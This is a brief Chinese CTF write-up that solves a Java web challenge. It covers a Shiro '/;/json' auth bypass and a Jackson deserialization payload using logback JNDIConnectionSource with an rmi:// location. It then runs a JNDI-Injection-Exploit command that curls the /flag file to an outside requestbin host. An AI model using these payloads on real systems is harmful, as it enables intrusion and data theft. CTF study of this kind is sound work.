# JavaWeb

提供两条路由分别是/login和/json

其中/login可以用`rememberMe`检测到存在Shiro反序列化，/json需要有权限访问，通过Shiro框架的`/;/json`绕过，通过POST空对象`[]`判断存在jackson。

利用反序列化发起请求

```
["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation": "rmi://xxx:1099/aaaaaa"}]
```

远程监听收到报文

```
nc -lvnp 1099
```

使用JNDI注入工具：

{% embed url="<https://github.com/welk1n/JNDI-Injection-Exploit>" %}

```
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl http://http.requestbin.buuoj.cn/1d8sev11 -F file=@/flag'
```

提交请求

```
["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation": "rmi://xxx:1099/qmblyn"}]
```

拿到flag

![](https://1298837596-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUlxElCQcjylbSFsJycU3%2Fuploads%2F3BI7ds6ZhCrMOeWA2m0D%2Fimage.png?alt=media\&token=9ceb9c6d-ebcc-4c96-9ed4-3754ff525744)
